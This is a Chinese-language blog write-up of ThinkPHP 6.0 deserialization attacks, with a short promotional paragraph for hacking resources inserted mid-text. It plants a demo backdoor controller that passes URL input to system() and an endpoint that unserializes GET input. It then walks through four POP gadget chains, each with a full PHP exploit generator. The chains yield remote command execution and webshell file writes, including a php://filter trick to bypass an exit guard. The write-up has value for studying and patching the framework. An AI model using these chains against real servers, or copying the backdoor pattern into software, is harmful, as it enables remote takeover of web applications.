Thinkphp 6.0 反序列化漏洞分析
ThinkPHP 目录结构:
project 应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
复制代码
控制器写法:
控制器文件通常放在application/module/controller
下面,类名和文件名保持大小写一致,并采用驼峰命名(首字母大写)。
为了感谢广大读者伙伴的支持,准备了以下福利给到大家:【一>所有资源获取<一】1、200 多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100 份 src 源码技术文档(项目学习不停,实践得真知)4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)5、网络安全学习路线(告别不入流的学习)6、ctf 夺旗赛解析(题目解析实战操作)
一个典型的控制器类定义如下:
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
return 'index';
}
}
复制代码
控制器类文件的实际位置是
application\index\controller\Index.php
复制代码
一个例子:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function backdoor($command)
{
system($command);
}
}
复制代码
想进入后门,需要访问:
http://ip/index.php/Index/backdoor/?command=ls
复制代码
所以写一个漏洞利用点:
控制器,app/home/contorller/index.php
<?php
namespace app\home\controller;
use think\facade\Db;
class Index extends Base
{
public function index()
{
return view('index');
}
public function payload(){
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to TP6.0";
}
}
复制代码
POP1
入口:/vendor/topthink/think-orm/src/Model.php
让$this->lazySave==True
,跟进:
想要进入updateData
方法,需要满足一些条件:
让第一个if
里面一个条件为真才能不直接return
,也即需要两个条件:
$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty():
public function isEmpty(): bool
{
return empty($this->data);
}
复制代码
让$this->data!=null
即可满足第一个条件。再看trigger('BeforeWrite')
,位于ModelEvent
类中:
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}
复制代码
让$this->withEvent==false
即可满足第二个条件,
然后需要让$this->exists=true
,这样才能执行updateData
,
跟进updateData()
,
想要执行checkAllwoFields
方法需要绕过前面的两个 if 判断,必须满足两个条件:
$this->trigger('BeforeUpdate')==true
$data!=null
复制代码
第一个条件上面已经满足,现在看第二个条件$data
,查看$data
是怎么来的,跟进getChangedData
方法,src/model/concern/Attribute.php
因为$force
没定义默认为 null ,所以进入array_udiff_assoc
,由于$this->data
和$this->origin
默认也为null
,所以不符合第一个if
判断,最终$data=0
,也即满足前面所提的第二个条件,$data!=null
。
然后查看 checkAllowFields 方法调用情况。
我们想进入字符拼接操作,就需要进入else
,所以要让$this->field=null
,$this->schema=null
,进入下面
这里存在可控属性的字符拼接,所以可以找一个有__tostring
方法的类做跳板,寻找__tostring
,
src/model/concern/Conversion.php
,
进入toJson
方法,
我们想要执行的就是getAttr
方法,触发条件:
$this->visible[$key]
需要存在,而$key
来自$data
的键名,$data
又来自$this->data
,即$this->data
必须有一个键名传给$this->visible
,然后把键名$key
传给getAttr
方法,
跟进getAttr
方法,vendor/topthink/think-orm/src/model/concern/Attribute.php
跟进getData
方法,
跟进getRealFieldName
方法,
当$this->strict
为true
时直接返回$name
,即键名$key
返回getData
方法,此时$fieldName=$key
,进入if
语句,返回$this->data[$key]
,再回到getAttr
方法,
return $this->getValue($name, $value, $relation);
复制代码
即返回
return $this->getValue($name, $this->data[$key], $relation);
复制代码
跟进getValue
方法,
如果我们让$closure
为我们想执行的函数名,$value
和$this->data
为参数即可实现任意函数执行。
所以需要查看$closure
属性是否可控,跟进getRealFieldName
方法,
如果让$this->strict==true
,即可让$$fieldName
等于传入的参数$name
,即开始的$this->data[$key]
的键值$key
,可控
又因为$this->withAttr
数组可控,所以,$closure
可控·,值为$this->withAttr[$key]
,参数就是$this->data
,即$data
的键值,
所以我们需要控制的参数:
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
复制代码
这里还需要注意,Model
是抽象类,不能实例化。所以要想利用,得找出 Model
类的一个子类进行实例化,这里可以用 Pivot
类(位于\vendor\topthink\think-orm\src\model\Pivot.php 中)进行利用。
所以构造 exp:
<?php
namespace think{
abstract class Model{
use model\concern\Attribute; //因为要使用里面的属性
private $lazySave;
private $exists;
private $data=[];
private $withAttr = [];
public function __construct($obj){
$this->lazySave = True;
$this->withEvent = false;
$this->exists = true;
$this->table = $obj;
$this->data = ['key'=>'dir'];
$this->visible = ["key"=>1];
$this->withAttr = ['key'=>'system'];
}
}
}
namespace think\model\concern{
trait Attribute
{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot('');
$b = new Pivot($a);
echo urlencode(serialize($b));
}
复制代码
POP2
入口:vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php
让$autosave = false
,
因为AbstractCache
为抽象类,所以需要找一下它的子类,/vendor/topthink/framework/src/think/filesystem/CacheStore.php
,因为里面实现了save
方法,
继续跟进getForStorage
,
跟进cleanContents
方法,
只要不是嵌套数组,就可以直接return
回来,返回到json_encode
,他返回json
格式数据后,再回到save
方法的set
方法,
因为$this->store
可控,我们可以调用任意类的set
方法,如果该类没用set
方法,所以可能触发__call
。当然也有可能自身的set
方法就可以利用,找到可利用set
方法,src/think/cache/driver/File.php
,
跟进getCacheKey
,这里其实就是为了查看进入该方法是否出现错误或者直接return
了,
所以这里$this->option['hash_type']
不能为空,然后进入serialize
方法,src/think/cache/Driver.php
,
这里发现options
可控,如果我们将其赋值为system
,那么return
的就是我们命令执行函数,$data
我们是可以传入的,那就可以 RCE,回溯$data
是如何传入的,即save
方法传入的$contents
,但是$contents
是经过了json_encode
处理后的json
格式数据,那有什么函数可以出来json
格式数据呢?经过测试发现system
可以利用:
链子如下:
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
复制代码
exp 如下:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`id`";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
复制代码
但是没有回显,但是能够反弹 shell ,
POP3
这里其实和 POP2 一样,只是最终利用点发生了些许变化,调用关系还是一样:
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()
/vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()
/vendor/topthink/framework/src/think/cache/driver.php::set()
/vendor/topthink/framework/src/think/cache/driver.php::serialize()
复制代码
POP2 是利用的控制serialize
函数来 RCE,但下面还存在一个file_put_contents($filename, $data)
函数,我们也可以利用它来写入 shell,
我们还是需要去查看文件名是否可控,进入getCacheKey
方法,
可以发现我们可以控制文件名,而且可以在$this->options['path']
添加伪协议,再看写入数据$data
是否可控呢,可以看到存在一个exit
方法来限制我们操作,可以伪协议filter
可以绕过它
所以文件名和内容都可控,exp:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
复制代码
成功写入
POP4
入口:League\Flysystem\Cached\Storage\AbstractCache
,
因为AbstractCache
为抽象类,所以需要找一下它的子类,src/Storage/Adapter.php
让$autosave = false
即可进入save
方法,
有一个write
方法,$content
为getForStorage
方法返回值,上文已分析该参数可控,所以可以用来写马。
所以我们需要找一个有has
方法和write
方法的对象利用,src/Adapter/Local.php
has()
方法用来判断文件是否已存在,只需要构建文件名不存在即可,进入write
方法,
这里可以执行file_put_contents()
,写入shell
,跟进applyPathPrefix
方法,
然后getPathPrefix
方法返回的是该类的一个属性,因为默认为 NULL,所以file_put_contents
第一个参数就是$path
变量,回溯该变量,也即是Adapter
类中的$file
属性,所以让$file
属性为文件名,所以文件名$file
可控,文件内容$contents
可控,所以写入shell
,exp:
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'w0s1np.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$a = new Local();
$b = new Adapter($a);
echo urlencode(serialize($b));
?>
复制代码
成功写入
评论